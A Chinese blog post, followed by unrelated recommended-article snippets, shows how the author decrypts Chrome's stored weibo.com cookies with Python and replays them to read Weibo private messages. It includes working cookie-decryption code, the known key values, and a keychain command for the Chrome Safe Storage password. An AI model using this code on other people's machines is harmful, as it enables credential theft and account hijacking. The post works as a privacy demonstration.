利用cookie劫持微博私信

代码星河客
• 阅读 12624

记得还是在学Qt编程的时候,做过一个练手项目,产品是一个搜索Chrome的cookie内容的小软件。Chrome的cookie保存在用户目录的一个sqlite文件中,具体路径上网搜一下就知道了。当时比较天真,想看看cookie里面有没有明文保存的密码,结果当然是得到一堆乱码,最后就不了了之了。

直到前几天,我正在网上看一篇关于cookie的文章,忽然想起一件事情,我需要密码的原因无非是用来登录,我既然有了cookie直接发给服务器就可以了,又有什么必要了解cookie的内容?我顺手用chrome打开了微博私信查看下它的请求流程:
利用cookie劫持微博私信

貌似理论上没有什么问题,不过还是要做个试验验证一下,我准备尝试用python写个小程序模拟浏览器向微博服务器发起私信消息的页面请求。

当然首先还是让我的小伙伴给我发条私信:
利用cookie劫持微博私信

具体实现

整个实验我简单的作了个概念图:
利用cookie劫持微博私信

实验主要分为以下几个步骤:
* 从chrome的sqlite文件中提取cookie
* 模拟浏览器组装header
* 向服务器发起目标页面的请求

提取chrome的cookie信息

chrome的cookie保存路径在三大操作系统Windows、Linux和OSX上都不尽相同,以linux为例,它的保存路径就是~/.config/chromium/Default/Cookies,我们先用sqlite3程序把这个文件载入进来看看:
利用cookie劫持微博私信

cookie信息都保存在表cookies中,但是才刚开始就出现了意想不到的问题:

利用cookie劫持微博私信

表里面的值和记忆中的大部分都是一样的,唯独最重要的value一项,居然是空的,而在末尾倒是多了个encrypted_value項。谷歌了一下,了解到在chrome版本33之前,cookie都是直接存储的,在33+之后,谷歌开始对cookie的信息进行了加密。顺便感慨下时光飞逝,不知不觉又老了几个版本。chrome在windows上加密采用的是CryptUnprotectData函数,解密方法大家可以看这里。Linux和OSX上的加密方法相似,都采用的是AES(CBC)加密方法,了解密码学的都知道对这个数据进行解密至少需要好几个值,salt,key length,iv,password,iterations等等。不过不幸的是一位国外的网友n8henrie在浏览了chromium源码之后把这些值统统找到了,以下是他原话:

  • salt is b'saltysalt'
  • key length is 16
  • iv is 16 bytes of space b' ' * 16
  • on Mac OSX:
    password is in keychain under Chrome Safe Storage
    I use the excellent keyring package to get the password
    You could also use bash: security find-generic-password -w -s "Chrome Safe Storage"
    number of iterations is 1003
  • on Linux:
    password is peanuts
    number of iterations is 1

顺便贴出他给出的源代码(可能是原作者的失误,在clean函数中忘记调用了ord函数,特此补上):

#! /usr/bin/env python3

from Crypto.Cipher import AES
from Crypto.Protocol.KDF import PBKDF2

# Function to get rid of padding
def clean(x): 
    return x[:-ord(x[-1])].decode('utf8')

# replace with your encrypted_value from sqlite3
encrypted_value = ENCRYPTED_VALUE 

# Trim off the 'v10' that Chrome/ium prepends
encrypted_value = encrypted_value[3:]

# Default values used by both Chrome and Chromium in OSX and Linux
salt = b'saltysalt'
iv = b' ' * 16
length = 16

# On Mac, replace MY_PASS with your password from Keychain
# On Linux, replace MY_PASS with 'peanuts'
my_pass = MY_PASS
my_pass = my_pass.encode('utf8')

# 1003 on Mac, 1 on Linux
iterations = 1003

key = PBKDF2(my_pass, salt, length, iterations)
cipher = AES.new(key, AES.MODE_CBC, IV=iv)

decrypted = cipher.decrypt(encrypted_value)
print(clean(decrypted))

我稍微改了下源代码,对上图header里的cookie的第一項尝试进行解密:

from Crypto.Cipher import AES
from Crypto.Protocol.KDF import PBKDF2

def clean(x): 
    return x[:-ord(x[-1])].decode('utf8')

def decrypt(encrypted_value):
    encrypted_value = encrypted_value[3:]

    salt = b'saltysalt'
    iv = b' ' * 16
    length = 16

    my_pass = 'peanuts'
    my_pass = my_pass.encode('utf8')

    iterations = 1

    key = PBKDF2(my_pass, salt, length, iterations)
    cipher = AES.new(key, AES.MODE_CBC, IV=iv)
    decrypted = cipher.decrypt(encrypted_value)

    return clean(decrypted)

cx = sqlite3.connect(os.path.expandvars('$HOME') + '/.config/chromium/Default/Cookies')
cu = cx.cursor()

cu.execute("select * from cookies where host_key = '.weibo.com' and name = 'SINAGLOBAL'")

res = cu.fetchone()

print decrypt(res[len(res)-1])

结果显示n8henrie给出的值确实是正确的,解密成功。

利用cookie劫持微博私信

利用cookie劫持微博私信

这个值我们不知道有什么意义,因为本来就不需要,直接把它发给服务器就好,服务器自己知道怎么解密的。

cookie值解密出来之后,感觉就像是突然变成了宿管阿姨,手里握着整栋宿舍的钥匙。

组装header

组装header这里比较容易了,基本上照着上面截下来的Chrome的header照抄就好了,不过要注意的是记得把Accept-Encoding:gzip,deflate,sdch这一项去掉,不然返回的数据是经过压缩的,最后再加上解密出来的cookie,一个完整的header就出来了。

import sqlite3
import urllib2
import os

cx = sqlite3.connect(os.path.expandvars('$HOME') + '/.config/chromium/Default/Cookies')
cu = cx.cursor()
cu.execute("select * from cookies where host_key = '.weibo.com'")

cookies = ''

for res in cu.fetchall(): 
    cookies += res[2] + '=' + decrypt(res[len(res)-1]) + '; '

url = 'http://weibo.com/messages'

header = {
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
        #'Accept-Encoding': 'gzip, deflate, sdch',
        'Accept-Language': 'zh-CN,zh;q=0.8,en;q=0.6,ja;q=0.4,zh-TW;q=0.2',
        'Cache-Control': 'max-age=0',
        'Connection': 'keep-alive',
        'Host': 'weibo.com',
        'Cookie': cookies,
        'User-Agent': 'Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/40.0.2214.111 Chrome/40.0.2214.111 Safari/537.36'
}
request = urllib2.Request(url, headers=header)

发送请求

最后一步发送请求,把返回的数据打开看一下,私信消息已经在里面了。
利用cookie劫持微博私信

结语

没想到整个过程还算是比较顺利的,而且还是在linux平台。随后我又在windows和OSX上进行了试验,windows的解密要更简单一点,而在OSX上获取Chrome Safe Storagepassword的时候系统提醒需要获取授权,也就是说从目前来看只有苹果系挡住了这次攻击。不得不说cookie确实给我们带来了太多的便利,但是与此同时也牺牲了太多的安全性,网络发展到今天很多事情已经超出可控的范围,尤其是在中国这种软件氛围,谁知道各大软件产商有什么做不出来的,想要保护好自己,只能靠自己平时多长点心眼了。

Q&A

  • Q:为什么我直接用你的代码返回404?
  • A:你要先用chrome至少浏览一次私信,不然哪来的cookie。

  • Q:为什么选择微博私信做实验?
  • A:因为我知道你们用的是微信而不是私信。

  • Q:你是在本机运行的,劫持自己的信息可以,怎么劫持别人的信息?
  • A:一般人不行,但是软件产商可以。

  • Q:为什么每个用户只有一条私信?不可以看到所有的对话嘛?
  • A:可以,但这里只是做为实验,不可有小人之心,但不能不防小人

  • Q:有了cookie除了看私信还能干什么?
  • A:不知道。

最后感谢下caixpp童鞋发了封私信,还有,用完数据库记得close。

References

转载请注明

原文地址: http://mafagan.sinaapp.com/2015/02/27/cookie-hack/

点赞
收藏
评论区
推荐文章
blmius blmius
3年前
MySQL:[Err] 1292 - Incorrect datetime value: ‘0000-00-00 00:00:00‘ for column ‘CREATE_TIME‘ at row 1
文章目录问题用navicat导入数据时,报错:原因这是因为当前的MySQL不支持datetime为0的情况。解决修改sql\mode:sql\mode:SQLMode定义了MySQL应支持的SQL语法、数据校验等,这样可以更容易地在不同的环境中使用MySQL。全局s
皕杰报表之UUID
​在我们用皕杰报表工具设计填报报表时,如何在新增行里自动增加id呢?能新增整数排序id吗?目前可以在新增行里自动增加id,但只能用uuid函数增加UUID编码,不能新增整数排序id。uuid函数说明:获取一个UUID,可以在填报表中用来创建数据ID语法:uuid()或uuid(sep)参数说明:sep布尔值,生成的uuid中是否包含分隔符'',缺省为
_dolphin _dolphin
4年前
.net core Cookie的使用
缘起:  公司领导让我做一个测试的demo,功能大概是这样的:用户通过微信扫一扫登陆网站,如果用户登录过则直接进入主界面,否则就保留在登录界面。实现方法:  首先先把网站地址生成个二维码,在扫描二维码后去获取Cookie如果有值那么就证明登录过直接跳转到主界面,如果Cookie不存在用户通过登录记录的用户信息并保存到Cookie。什么是Cookie:  储存
Stella981 Stella981
3年前
SpringBoot学习:整合shiro自动登录功能(rememberMe记住我功能)
首先在shiro配置类中注入rememberMe管理器!复制代码(https://oscimg.oschina.net/oscnet/675f5689159acfa2c39c91f4df40a00ce0f.gif)/cookie对象;rememberMeCookie()方法是设置Cookie的生成模
Stella981 Stella981
3年前
PHP的cookie与Javascript的cookie的关系
PHP读写cookie的语句:setcookie("user","Lilu",time()3600);echo$_COOKIE"user";javascript读写cookie代码:functionSetCookie(name,value)//两个参数,一个是cookie的名子,一
Easter79 Easter79
3年前
SpringBoot学习:整合shiro自动登录功能(rememberMe记住我功能)
首先在shiro配置类中注入rememberMe管理器!复制代码(https://oscimg.oschina.net/oscnet/675f5689159acfa2c39c91f4df40a00ce0f.gif)/cookie对象;rememberMeCookie()方法是设置Cookie的生成模
Stella981 Stella981
3年前
JavaScript 使用Cookie
1.Cookie包含多个互不相关的信息块:名称、值、到期日期和时间、有效路径(默认为当前路径)、域(默认为当前主机)2.创建Cookiedocument.cookievalue;document.cookie'fontSize14';//Cookie有默认到期时间、路径和域,在Cookie值字符串中添加一个分号,后面跟上Cookie属性ex
Stella981 Stella981
3年前
Django之cookie 和 session
一、1、cookie的由来!!!    由于HTTP协议是无状态的,既每一次的请求都是独立的,他不会因为你之前来过,就记住你,所以每次浏览器去访问服务器的时候,都是一个全新的过程,之前的数据也不会保留,所以为了解决这个问题,cookie诞生了。2、什么是cookie?    Cookie具体指的是一段小信息,他是服务器发送出来存储在浏览器一组
Stella981 Stella981
3年前
Django组件——cookie与session
Django组件——cookie与session<fontcolor00bff一、会话跟踪技术</font<fontcolorff7f501、什么是会话跟踪技术</font先了解一下什么是会话。可以把
Wesley13 Wesley13
3年前
MySQL部分从库上面因为大量的临时表tmp_table造成慢查询
背景描述Time:20190124T00:08:14.70572408:00User@Host:@Id:Schema:sentrymetaLast_errno:0Killed:0Query_time:0.315758Lock_
美凌格栋栋酱 美凌格栋栋酱
5个月前
Oracle 分组与拼接字符串同时使用
SELECTT.,ROWNUMIDFROM(SELECTT.EMPLID,T.NAME,T.BU,T.REALDEPART,T.FORMATDATE,SUM(T.S0)S0,MAX(UPDATETIME)CREATETIME,LISTAGG(TOCHAR(